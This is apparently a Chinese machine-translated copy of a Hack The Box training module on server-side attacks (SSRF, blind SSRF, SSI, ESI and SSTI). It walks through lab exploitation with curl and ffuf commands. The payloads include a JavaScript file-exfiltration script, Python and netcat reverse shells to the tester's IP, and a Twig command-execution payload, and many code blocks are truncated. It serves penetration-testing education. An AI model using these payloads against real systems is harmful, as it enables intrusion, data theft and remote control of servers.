ServersideAttacksHTB
Introduction to Server-Side Attacks
服务器端攻击的目标是服务器提供的应用程序或服务,而客户端攻击的目的是攻击客户端。理解和识别这些差异对于渗透测试和bug赏金猎人来说是至关重要的。
一个很好的例子,应该有助于澄清服务器端攻击与客户端攻击之间的差异是Cross-Site Request Forgeries (CSRF)
和Server-side Request Forgeries (SSRF)
。这两种攻击都涉及Web服务器以及服务器如何处理URL。然而,CSRF和SSRF有不同的目标和目的。
大致引用自Web应用程序简介模块中的跨站点请求伪造部分:
CSRF攻击可能利用其他客户端攻击(如XSS漏洞)向受害者已通过身份验证的Web应用程序执行请求。这允许攻击者以授权用户的身份执行操作,例如将其密码更改为攻击者可能知道的内容,或者以受害者的身份执行任何未经授权的操作。
从上述情况,我们应该可以推断出目标是客户。服务器端攻击的目标是实际的应用程序,目标是泄漏敏感数据或将未经授权的输入注入应用程序,甚至实现远程代码执行(RCE)。这种情况下的目标是后端服务。
Types of Server-Side Attacks
本模块将介绍不同类型的服务器端攻击以及如何利用它们。这些措施是:
Abusing Intermediary Applications
:通过利用特定的公开二进制协议,防止内部应用程序无法从我们的网络访问。Server-Side Request Forgery (SSRF)
:使宿主应用程序服务器向任意外部域或内部资源发出请求,以尝试识别敏感数据。Server-Side Includes Injection (SSI)
:注入一个有效载荷,以便恶意的服务器端包含指令被解析,以实现远程代码执行或泄漏敏感数据。当未经充分验证的用户输入设法成为为服务器端Include指令分析的响应的一部分时,就会发生此漏洞。Edge-Side Includes Injection (ESI)
:ESI是一种基于XML的标记语言,用于通过临时存储常规Web缓存协议无法保存的动态Web内容来解决性能问题。当攻击者设法在HTTP响应中反映恶意的ESI标记时,就会发生边缘侧包含注入。此漏洞的根本原因是HTTP代理无法验证ESI标记来源。他们将很乐意解析和评估上游服务器提供的合法ESI标记以及攻击者提供的恶意ESI标记。Server-Side Template Injection (SSTI)
:模板引擎通过网页或电子邮件促进动态数据呈现。服务器端模板注入本质上是在模板中注入恶意的模板指令(有效负载),利用模板引擎将用户输入与给定模板不安全地混合在一起。Extensible Stylesheet Language Transformations Server-Side Injection (XSLT)
:XML是一种基于XML的语言,通常用于将XML文档转换为HTML、另一个XML文档或PDF。可扩展样式表语言转换服务器端注入可能发生在可以上载任意XSL文件或应用程序使用来自用户的未经验证的输入动态生成XSL转换的XML文档时。
Abusing Intermediary Applications
Nginx Reverse Proxy & AJP
当我们遇到一个开放的AJP代理端口(8009 TCP)时,我们可以使用Nginx和ajp_module
来访问“隐藏的”Tomcat管理器。这可以通过编译Nginx源代码并添加所需的模块来完成,如下所示:
- 下载Nginx源代码
- 下载所需模块
- 使用
ajp_module
编译Nginx源代码。 - 创建指向AJP端口的配置文件
下载Nginx源码
mikannse7@htb[/htb]$ wget https://nginx.org/download/nginx-1.21.3.tar.gz |
使用ajp模块编译Nginx源代码
mikannse7@htb[/htb]$ git clone https://github.com/dvershinin/nginx_ajp_module.git |
注意:在下面的配置中,我们使用端口8009,这是Tomcat的AJP默认端口,这是我们在真实的环境中使用它的方式。但是,要完成本节末尾的练习,您应该指定要生成的目标的IP和端口(它们都将在“Target:“旁边可见)。您将看到的端口实际上映射到底层Docker容器的端口8009。
注释掉整个server
块,并将以下行附加到http
中的/etc/nginx/conf/nginx.conf
块中。
指向AJP端口
upstream tomcats { |
注意:如果您使用的是Pwnbox,那么端口80将已经在使用中,因此,在上述配置中将端口80更改为8080。最后,在下一步中,使用端口8080和cURL。
启动Nginx并通过向本地主机发出cURL请求来检查是否一切正常。
mikannse7@htb[/htb]$ sudo nginx |
幸运的是,Apache为我们预编译了AJP模块。我们将需要安装它,虽然,因为它不来在默认安装。在我们的Apache服务器中配置AJP-Proxy可以如下完成:
- 安装libapache 2-mod-jk包
- 使得模块
- 创建指向目标AJP-Proxy端口的配置文件
注意:如前所述,Pwnbox使用的是80端口,Apache也将其用作默认端口。你可以在“/etc/apache 2/ports.conf”中将Apache的默认端口更改为任何其他端口。如果你使用8080端口,别忘了提前用sudo nginx -s stop
停止nginx。在下面的配置中,我们使用的是8009,这是Tomcat的默认AJP端口,这是我们在真实的环境中使用它的方式。但是,要完成上一节末尾的练习,这次使用Apache,您应该指定要生成的目标的IP和端口(它们都将在“Target:“旁边可见)。您将看到的端口实际上映射到底层Docker容器的端口8009。
所需的命令和配置文件如下:
mikannse7@htb[/htb]$ sudo apt install libapache2-mod-jk |
注意:下面的cURL命令是您通常使用的命令,因为Apache默认侦听端口80。请记住,您必须将端口80更改为您选择的另一个端口。因此,为了完成上一节的练习,下一步是在使用cURL时指定您选择的端口,例如“curl http://127.0.0.1:8080“。
Accessing the “hidden” Tomcat page
mikannse7@htb[/htb]$ curl http://127.0.0.1 |
如果我们正确配置了所有内容,我们将能够使用cURL和Web浏览器访问Apache Tomcat管理器。
SSRF
服务器端请求伪造(SSRF
)攻击,列在OWASP前10名中,允许我们滥用服务器功能来代表服务器执行内部或外部资源请求。为此,我们通常需要提供或修改目标应用程序用来读取或提交数据的URL。利用SSRF漏洞可能导致:
- 与已知内部系统交互
- 通过端口扫描发现内部服务
- 泄露本地/敏感数据
- 在目标应用程序中包括文件
- 使用路径泄漏NetNTLM哈希(Windows)
- 实现远程代码执行
我们通常可以在获取远程资源的应用程序中找到SSRF漏洞。在寻找SSRF漏洞时,我们应该寻找:
- 请求的一部分,包括URL
- 文件导入,如HTML、PDF、图像等。
- 远程服务器连接以获取数据
- API规范导入
- 仪表板,包括ping和类似功能,用于检查服务器状态
注意:请始终记住,Web应用程序模糊测试应该是任何渗透测试或bug赏金狩猎活动的一部分。也就是说,模糊不应该仅限于用户输入字段。将模糊处理扩展到HTTP请求的各个部分,比如User-Agent。
SSRF Exploitation Example
让我们首先利用一个面向互联网的Web应用程序(目标可以在本节底部生成),然后通过链接多个SSRF漏洞来在内部主机上获得远程代码执行。攻击流程如下:
[PENTESTER] |
🠖 |
[EXERCISE-TARGET]--[SSRF] |
🠖 |
[INTERNAL-WEBSERVER]--[SSRF] |
🠖 |
[LOCALHOST WEBAPP] |
🠖 |
[RCE] |
---|---|---|---|---|---|---|---|---|
导航到本节的结尾并单击Click here to spawn the target system!
,然后使用提供的Pwnbox或具有提供的VPN密钥的本地VM来沿着。
对主机的基本侦察显示只有三个开放端口。
Nmap - Discovering Open Ports Nmap
mikannse7@htb[/htb]$ nmap -sT -T5 --min-rate=10000 -p- <TARGET IP> |
让我们向目标服务器发出一个cURLrequest,使用参数-i
显示协议响应头,使用参数-s
使用静默模式。
Curl - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s http://<TARGET IP> |
我们可以看到请求重定向到/load?q=index.html
,这意味着q
参数获取资源index.html
。让我们按照重定向,看看我们是否可以收集任何其他信息。
mikannse7@htb[/htb]$ curl -i -s -L http://<TARGET IP> |
派生的目标是ubuntu-web.lalaguna.local
,internal.app.local
是内部网络上的应用程序(从我们当前的位置无法访问)。
下一步是确认q
参数是否易受SSRF攻击。如果是,我们可以利用SSRF漏洞访问内部的.app.local Web应用程序。我们说“可能”是因为ubuntu-web
可能存在信任关系,能够与internal.app.local
联系并进行交互。这种类型的关系可以是简单的防火墙规则(甚至没有任何防火墙规则)。
在一个终端中,让我们使用Netcat监听端口8080,如下所示。
Netcat Listener
mikannse7@htb[/htb]$ nc -nvlp 8080 |
现在,让我们在另一个终端中使用http://<VPN/TUN Adapter IP>
而不是index.html
向目标Web应用程序发出请求,如下所示。<VPN/TUN Adapter IP>
将是Pwnbox的TUN适配器IP或您可能正在使用的本地VM的TUN适配器IP(在使用提供的VPN密钥连接后)。
Curl - Testing for SSRF
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080" |
我们将通过目标服务器使用Python-urllib发出的请求,在Netcat监听器中接收以下内容,以确认SSRF漏洞:
Netcat Listener - Confirming SSRF
Connection received on <TARGET IP> 49852 |
阅读Python-urllib文档,我们可以看到它支持file
、http
和ftp
模式。因此,除了代表目标应用程序向其他服务发出HTTP请求外,我们还可以通过file
模式读取本地文件,并使用ftp
读取远程文件。
我们可以通过以下步骤测试此功能:
- 创建名为index.html的文件
Code:
<html> |
- 在index.html所在的目录中,使用以下命令启动HTTP服务器
Start Python HTTP Server
mikannse7@htb[/htb]$ python3 -m http.server 9090 |
- 在index.html所在的目录中,通过以下命令启动FTP服务器
Start FTP Server
mikannse7@htb[/htb]$ sudo pip3 install twisted |
- 使用
ftp
模式通过目标应用程序重新编译index.html,如下所示
FTP Schema 通过目标应用程序检索远程文件- FTP架构
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=ftp://<VPN/TUN Adapter IP>/index.html" |
- 使用
ftp
模式通过目标应用程序重新编译index.html,如下所示
通过目标应用程序检索远程文件- HTTP模式
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html" |
- 使用文件架构重新编译本地文件,如下所示
通过目标应用程序检索本地文件-文件架构
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd" |
请记住,获取远程HTML文件可能会导致反射XSS。
请记住,我们在目标服务器上只有两个开放端口。但是,内部应用程序可能只存在于本地主机上并进行侦听。我们可以使用ffuf这样的工具来枚举这些Web应用程序,方法是执行以下步骤:
- 生成包含所有可能端口的单词列表。
Generate a Wordlist
mikannse7@htb[/htb]$ for port in {1..65535};do echo $port >> ports.txt;done |
- 向随机端口发出cURL请求,以获取对不存在的服务的请求的响应大小。
Curl - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:1" |
- 对单词列表使用ffuf,并丢弃具有我们先前确定的大小的响应。
Port Fuzzing
mikannse7@htb[/htb]$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30 |
我们已收到端口5000
的有效响应。让我们检查如下。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000" |
到目前为止,我们已经学习了如何通过SSRF到达内部应用程序并使用不同的模式来加载本地文件。有了这些知识,让我们再次通过SSRF尝试攻击internal.app.local
Web应用程序。我们的最终目标是在内部主机上实现远程代码执行。
首先,我们向之前发现的内部应用程序发出一个简单的cURL请求。记住我们发现的信息,两个应用程序以相同的方式加载资源(通过q
参数)。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html" |
现在,让我们发现任何在localhost中侦听的Web应用程序。让我们尝试向随机端口发出请求,以确定来自封闭端口的响应是什么样子的。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1" |
我们收到了一条unknown url type
错误消息。Web应用程序似乎正在从我们的请求中删除://
。让我们尝试通过修改URL来克服这种情况。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1" |
在这种情况下,Web应用程序返回一些HTML呈现的内容,其中包含我们试图获取的资源。如果我们使用响应的大小作为过滤器,这个响应将影响我们的内部服务发现,因为它会根据端口而变化。幸运的是,ffuf支持正则表达式进行过滤。我们可以使用此ffuf功能来使用错误号过滤响应,如下所示。
Port Fuzzing
mikannse7@htb[/htb]$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111' |
我们发现另一个应用程序正在侦听端口5000。在这种情况下,应用程序会以文件列表进行响应。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/" |
让我们快速回顾一下我们所取得的成就:
- 代表ubuntu-web向internal.app.local发出请求
- 到达一个Web应用程序侦听端口5000内部的.app.local链接两个SSRF漏洞
- 通过内部应用程序披露文件列表
现在,让我们揭开监听internal.app.local
的Web应用程序的源代码,看看如何实现远程代码执行。
让我们发出一个请求来公开/proc/self/environ
文件,其中当前路径应该存在于PWD
环境变量下。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o - |
现在我们知道当前路径是/app
,并且我们有一个有趣的文件列表。让我们公开internal_local.py
文件如下。
通过目标应用程序检索本地文件-文件架构
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py" |
通过研究上面的源代码,我们注意到一个功能,它允许我们在远程主机上执行命令,向/runme?x=<CMD>
发送GET请求。让我们通过发送whoami
作为命令来确认远程代码执行。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami" |
我们可以在目标应用程序上的超级用户上下文下执行命令。但是,如果我们试图提交一个带有参数的命令,会发生什么呢?
mikannse7@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a" |
要执行带有参数或特殊字符的命令,我们需要在通过三个不同的Web应用程序时对它们进行三次编码。
为此,您可以使用任何在线URL编码服务,如urlencoder.org。也存在从终端实现这一点的快速方法。这是使用jq
,它支持如下编码:
Install JQ 安装JQ
mikannse7@htb[/htb]$ sudo apt-get install jq |
我们现在可以创建一个bash函数来自动执行目标应用程序上的命令。
Automate executing commands
mikannse7@htb[/htb]$ function rce() { |
现在我们需要调用函数并通过以下方式执行命令:
mikannse7@htb[/htb]$ rce |
Blind SSRF
服务器端请求伪造漏洞可能是“盲目的”。在这些情况下,即使请求被处理,我们也看不到后端服务器的响应。因此,SSRF盲漏洞更难以检测和利用。
我们可以通过带外技术检测SSRF盲漏洞,使服务器向我们控制下的外部服务发出请求。为了检测后端服务是否正在处理我们的请求,我们可以使用具有我们拥有的公共IP地址的服务器或以下服务:
- Burp Collaborator(Burp Suite Professional的一部分。社区版中不提供)
- http://pingb.in
Blind SSRF漏洞可能存在于PDF文档生成器和HTTP标头等位置。
Blind SSRF Exploitation Example
现在,让我们利用Web应用程序中的SSRF盲漏洞,该应用程序接收HTML文件并返回PDF文档。这个Web应用程序是我们可以在本节末尾的练习中生成的目标。
导航到本节的结尾并单击Click here to spawn the target system!
,然后使用提供的Pwnbox或具有提供的VPN密钥的本地VM浏览目标应用程序并沿着。应用程序正在侦听端口8080。
如果我们上传各种HTML文件并检查响应,我们会注意到应用程序返回相同的响应,而不管提交文件的结构和内容如何。此外,我们无法观察到与前端处理提交的HTML文件相关的任何响应。我们是否应该得出结论,应用程序不容易受到SSRF的攻击?当然不是!我们应该在渗透测试期间进行彻底的测试,并寻找不同漏洞类别的盲目对应物。
让我们创建一个HTML文件,其中包含一个指向我们控制下的服务的链接,以测试应用程序是否容易受到SSRF盲漏洞的攻击。此服务可以是我们拥有的机器中托管的Web服务器、Burp Collaborator、Pingb.in URL等。请注意,我们在使用带外技术时可以使用的协议包括HTTP、DNS、FTP等。
Code:
|
为了简单起见,我们将用于测试SSRF盲漏洞的服务将是在Pwnbox或本地VM中运行并在端口9090上侦听的简单Netcat侦听器。如果您使用的是本地VM,请记住使用提供的VPN密钥。因此,在上面的HTML文件中,SERVICE IP
应该是Pwnbox或本地VM的VPN/TUN IP
,PORT
应该是9090
。
Netcat Listener
mikannse7@htb[/htb]$ sudo nc -nlvp 9090 |
提交文件后,我们将在浏览器中收到来自Web应用程序的消息,并向我们的服务器发出请求,显示用于将HTML文档转换为PDF的应用程序。
通过检查请求,我们注意到User-Agent中的wkhtmltopdf
。如果我们浏览wkhtmltopdf的下载网页,下面的声明引起了我们的注意:
Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details. |
很好,我们可以在wkhtmltopdf中执行JavaScript!让我们通过创建以下HTML文档来利用此功能读取本地文件。
Code:
<html> |
在本例中,我们使用两个XMLHttpRequest对象,一个用于阅读本地文件,另一个用于将其发送到服务器。此外,我们使用btoa
函数来发送以Base64编码的数据。
让我们启动一个HTTP服务器,提交新的HTML文件,等待响应,并在处理完HTML文件后对其内容进行解码,如下所示。
Netcat Listener
mikannse7@htb[/htb]$ sudo nc -nlvp 9090 |
Base64 Decoding
mikannse7@htb[/htb]$ echo """cm9vdDp4OjA6MDpyb290Oi9yb<SNIP>""" | base64 -d |
在上一节中,我们通过SSRF利用了一个内部应用程序,并在目标服务器上执行了远程命令。当前场景中存在相同的内部应用程序(internal.app.local
)。让我们对底层服务器进行妥协,但这次是通过创建一个带有有效负载的HTML文档来利用本地应用程序侦听internal.app.local。
我们将使用以下反向shell负载(一旦实现远程代码执行,就很容易识别Python是否安装)。
Bash Reverse Shell
Code: 验证码: bash
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' |
请记住,我们需要对有效负载进行URL编码。在这种情况下,我们需要对它进行两次编码。最终结果将类似于下面。
URL Encoded Payload
Code:
export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527 |
现在,让我们创建一个HTML文件,它对internal.app.local执行GET请求,到达易受SSRF远程代码执行攻击的本地应用程序,并执行我们的反向shell。
HTML Payload
Code:
<html> |
一旦我们在机器上启动Netcat侦听器并提交上面的HTML文件,我们就会收到来自internal.app.local
的反向shell。
mikannse7@htb[/htb]$ nc -nvlp 9090 |
Time-Based SSRF
我们也可以通过观察响应的时间差异来确定SSRF漏洞的存在。此方法还有助于发现内部服务。
让我们将下面的文档提交到上一节的PDF应用程序,并观察响应时间。
Code: 验证码: htmlHTML
<html> |
我们可以看到服务花了10秒来响应请求。如果我们在HTML文档中提交一个有效的URL,响应时间会更短。请记住internal.app.local
是一个有效的内部应用程序(我们可以在上一节中通过SSRF访问)。
在某些情况下,应用程序可能会立即失败,而不是花更多的时间来响应。因此,我们需要仔细观察请求之间的时间差。
Server-Side Includes (SSI) Injection
Server-Side Includes Overview
服务器端包含(SSI
)是Web应用程序使用的一种技术,用于在加载之前或渲染过程中通过评估SSI指令在HTML页面上创建动态内容。一些SSI指令是:
Code:
// Date |
在Web应用程序上使用SSI可以通过检查扩展名(如.shtml、.shtm或. stm)来识别。也就是说,存在允许其他扩展(如.html)处理SSI指令的非默认服务器配置。
我们需要通过输入字段向目标应用程序提交有效负载,例如上面提到的那些,以测试SSI注入。如果存在漏洞,Web服务器将在呈现页面之前解析和执行指令,但要注意这些漏洞也可能以盲格式存在。成功的SSI注入可能会导致从本地文件中提取敏感信息,甚至在目标Web服务器上执行命令。
SSI Injection Exploitation Example
让我们在一个面向互联网的Web应用程序上练习SSI注入(目标可以在本节的最后生成)。导航到本节的结尾并单击Click here to spawn the target system
,然后使用提供的Pwnbox或本地VM来沿着。通过浏览到产生的目标,我们遇到了下面的。
让我们通过提交上一节中提到的一些SSI指令来重点识别SSI注入漏洞。
Code:
1. <!--#echo var="DATE_LOCAL" --> |
Date 日期
All Variables
正如我们所看到的,应用程序确实容易受到SSI注入! 现在,继续本节结尾处的练习,并利用上一节中列出的可能导致对底层系统执行命令的任何SSI指令来完成练习。
注意:正如我们所看到的,通过SSI在目标应用程序上运行OS命令是可能的,但是谁不喜欢shell呢?请记住以下反向shell负载,即使在默认情况下不包括执行功能的OpenBSD-netcat上也可以工作。还要注意,由于网络限制,您将无法在本节的练习中获得反向shell!
Reverse Shell
Code:
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" --> |
mkfifo /tmp/foo
:在/tmp/foo
中创建一个FIFO特殊文件nc <IP> <PORT> 0</tmp/foo
:连接到pentester机器并重定向标准输入描述符| bin/bash 1>/tmp/foo
:执行/bin/bash
将标准输出描述符重定向到/tmp/foo
rm /tmp/foo
:删除FIFO文件
Edge-Side Includes (ESI)
Edge Side Includes(ESI
)是一种基于XML的标记语言,用于通过启用Web内容的重缓存来解决性能问题,否则通过传统的缓存协议将无法存储这些内容。Edge Side Includes(ESI)允许在网络边缘(内容交付网络、用户浏览器或反向代理)进行动态Web内容组装,方法是通过ESI元素标记(XML标记)指示页面处理器完成页面组装需要做什么。
ESI标记用于指示HTTP代理(反向代理、缓存服务器等)以获取关于具有已经高速缓存的模板的网页的附加信息。在将网页呈现给最终用户之前,该信息可能来自另一个服务器。ESI使完全缓存的网页包含动态内容。
当攻击者设法在HTTP响应中反映恶意ESI标记时,会发生边缘侧包含注入。此漏洞的根本原因是HTTP代理无法验证ESI标记来源。他们将很乐意解析和评估上游服务器的合法ESI标记以及攻击者的恶意ESI标记。
虽然我们可以通过在搜索Surrogate-Control: content="ESI/1.0"
时检查响应头来识别ESI的使用,但我们通常需要使用盲攻击方法来检测ESI是否在使用中。具体来说,我们可以将ESI标记引入到HTTP请求中,以查看是否有任何中间代理正在解析请求以及是否可以进行ESI注入。一些有用的ESI标记是:
ESI Tags
Code:
// Basic detection |
在某些情况下,当处理ESI指令的应用程序支持XML(一种用于转换XML文件的动态语言)时,我们可以实现远程代码执行。在这种情况下,我们可以将dca=xslt
传递给payload。所选的XML文件将被处理,可能会执行XML外部实体注入攻击(XXE),但有一些限制。
GoSecure创建了一个表,以帮助我们了解可能的攻击,我们可以根据支持的功能,针对不同的具有ESI功能的软件进行尝试。让我们首先对下表的列名进行一些解释:
- 包括:支持
<esi:includes>
指令 - Vars:支持
<esi:vars>
指令。用于绕过XSS过滤器 - Cookie:ESI引擎可访问文档Cookie
- 需要上游标头:除非上游应用程序提供标头,否则代理应用程序将不会处理ESI语句
- 主机允许列表:在这种情况下,ESI包含只能从允许的服务器主机,使SSRF,例如,只能对这些主机
Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Yes | Yes | Yes是的 | Yes | No |
Varnish Cache | Yes | No | No没有 | Yes | Yes |
Fastly | Yes | No | No没有 | No | Yes |
Akamai ESI Test Server (ETS) | Yes | Yes | Yes是的 | No | No |
NodeJS esi | Yes | Yes | Yes是的 | No | No |
NodeJS nodesi | Yes | No | No没有 | No | Optional |
Server-Side Template Injections
模板引擎从模板文档中读取标记化的字符串,并在输出文档中生成具有实际值的呈现字符串。模板通常被Web开发人员用作创建动态网站内容的中间格式。服务器端模板注入(SSTI
)本质上是在模板中注入恶意模板指令,利用模板引擎将用户输入与给定模板不安全地混合在一起。
下面你会发现一些应用程序,你可以在本地运行,以更好地理解模板。如果你不能做到这一点,不要担心。以下各节介绍了使用模板的各种应用程序的练习。
现在让我们考虑以下文件:
app.py
Code:
#/usr/bin/python3 |
index.html
Code:
|
当我们访问网站时,我们将收到一个HTML页面,其中包含模板页面上双括号内的title
和content
变量的值。非常简单,正如我们所看到的,用户对变量没有任何控制权。但是,当用户输入没有经过任何验证就进入模板时,会发生什么呢?
app.py
Code:
#/usr/bin/python3 |
在这种情况下,我们可以直接注入一个模板表达式,服务器将评估它。这是一个安全问题,可能会导致目标应用程序上的远程代码执行,正如我们将在下面的部分中看到的那样。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -gis 'http://127.0.0.1:5000/hello?name={{7*7}}' |
SSTI标识
我们可以通过在我们控制的输入中注入不同的标记来检测SSTI漏洞,以查看它们是否在响应中进行了评估。我们不一定需要看到注入的数据反映在我们收到的响应中。有时它只是在不同的页面上进行评估(盲)。
检测进样的最简单方法是在花括号中提供数学表达式,例如:
Code:
{7*7} |
当注入这些有效负载时,我们将在响应中查找“49”,以确定发生了服务器端评估。
识别SSTI最困难的方法是通过注入模板表达式中使用的特殊字符组合来模糊模板。这些字符包括${{<%[%'"}}%\
。如果导致异常,这意味着我们可以控制服务器根据模板表达式解释的内容。
我们可以使用Tplmap或J2EE Scan(Burp Pro)等工具来自动测试SSTI漏洞或创建有效负载列表以用于Burp Intruder或ZAP。
下面来自PortsSwigger的图表可以帮助我们确定我们是否正在处理SSTI漏洞,并确定底层模板引擎。
除了上面的图表,我们可以尝试以下方法来识别我们正在处理的技术:
- 检查技术名称的详细错误。有时候,仅仅复制谷歌搜索中的错误就可以为我们提供关于所使用的底层技术的直接答案
- 检查扩展。例如,.jsp扩展名与Java相关联。在处理Java时,我们可能面临的是表达式语言/OGNL注入漏洞,而不是传统的SSTI
- 发送带有未闭合花括号的表达式,以查看是否生成详细错误。不要在生产系统上尝试这种方法,因为可能会导致Web服务器崩溃。
SSTI Exploitation Example 1
假设我们正在测试一个面向互联网的应用程序(目标可以在本节的最后生成)。我们的重点将是确定应用程序是否容易受到服务器端模板注入的攻击。
让我们在输入字段中提交花括号中的数学表达式,例如在SSTI Identification
部分中提到的那些,从{7*7}
开始。
看起来应用程序没有评估提交的表达式。让我们继续另一个表达式,这次是${7*7}
。
看起来应用程序也没有计算这个表达式。{{7*7}}
怎么样?
幸运的是,这一次,应用程序评估了我们提交的最新数学表达式,并返回了结果49。看起来我们可能正在处理一个SSTI漏洞!
如前所述,在处理SSTI漏洞时,我们需要做的第一件事是识别应用程序正在使用的模板引擎。让我们使用PortSwigger的图表来帮助我们(如前一节所示)。我们已经知道{{7*7}}
表达式被成功地求值了。图中建议尝试的下一个表达式是{{7*'7'}}
。让我们尝试一下,看看应用程序如何响应。
应用程序也成功地计算了此表达式。根据PortSwigger的图表,我们正在处理Jinja 2或Twig模板引擎。
我们可以使用模板引擎特定的有效载荷来确定正在使用的是哪两个。让我们尝试下面的Twig特定的一个:
Code:
{{_self.env.display("TEST")}} |
成功评估了Twig特定的有效载荷。一个Twig模板引擎正在后端使用。有关模板引擎特定有效负载的详细列表,请参阅以下资源:
- [PayloadsAllTheThings - Template Injection
PayloadsAllTheThings -模板注入](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection) - HackTricks - SSTI (Server Side Template Injection)
HackTricks - SSTI(服务器端模板注入)
我们可以通过tplmap自动执行模板引擎识别过程,如下所示。如果您没有注意到,用户的输入是通过name
参数和POST请求提交的(因此是-d
中的tplmap
参数)。
tplmap.py
mikannse7@htb[/htb]$ git clone https://github.com/epinna/tplmap.git |
下一步是在目标服务器上获得远程代码执行。在移动有效负载部分之前,应该提到Twig有一个变量_self
,简单来说,它使一些内部API公开。这个_self
对象已经被记录下来了,所以我们不需要强制使用任何变量名(在接下来的SSTI利用示例中会有更多内容)。回到远程代码执行部分,我们可以使用getFilter
函数,因为它允许通过以下过程执行用户定义的函数:
- 通过
registerUndefinedFilterCallback
将函数注册为过滤器回调 - 调用
_self.env.getFilter()
来执行我们刚刚注册的函数
Payload
Code:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} |
这次让我们使用cURL提交有效负载。
cURL - Interacting with the Target cURL -与目标交互
mikannse7@htb[/htb]$ curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT> |
正如我们在上面的输出/响应中所看到的,提交的有效负载得到了评估,并且指定的命令(id
、uname -a
和hostname
)被成功执行。
同样,我们可以通过tplmap自动执行模板引擎利用过程,如下所示。
tplmap.py - OS Shell
mikannse7@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell |
我们现在可以通过为我们建立的shell tplmap
执行我们选择的任何命令!
现在,继续本节的练习,通过自己制作有效载荷或通过在tplmap
的帮助下获得的shell来完成目标。
注意:当我们注意到我们提交的数学表达式被计算时,应用程序也可能容易受到XSS的攻击。
让我们通过将大括号内的XSS有效负载提交给本节的练习目标来测试上面的语句。这样做的结果可以在下面的图片中看到。
SSTI Exploitation Example 2
假设我们的任务是对另一个面向互联网的应用程序进行渗透测试。我们的重点将是确定应用程序是否容易受到服务器端模板注入的攻击。
如果您使用Firefox的Web开发工具([Ctrl]
+[Shift]
+[I]
)检查应用程序的流量,您会注意到用户输入在名为email
的参数中提交,并通过POST请求提交给http://<TARGET IP>:<PORT>/jointheteam
让我们将大括号中的数学表达式提交到输入字段,例如在SSTI Identification
部分中提到的那些,从${7*7}
开始,正如PortSwigger的图表所示。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteam |
看起来应用程序没有评估提交的表达式。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -X POST -d 'email={{7*7}}' http://<TARGET IP>:<PORT>/jointheteam |
应用程序这次评估了提交的表达式。按照PortSwigger的图表,让我们继续识别底层模板引擎。
cURL - Interacting with the Target
mikannse7@htb[/htb]$ curl -X POST -d 'email={{7*'7'}}' http://<TARGET IP>:<PORT>/jointheteam |
应用程序评估了我们提交的最新表达式。所以,根据图表,我们应该处理Twig或Jinja2模板引擎,对吗?
不幸的是,事实并非如此!如果我们提交任何Twig或Jinja 2特定的负载,应用程序将返回500: Internal Server Error
。下面是一些这种行为的例子。
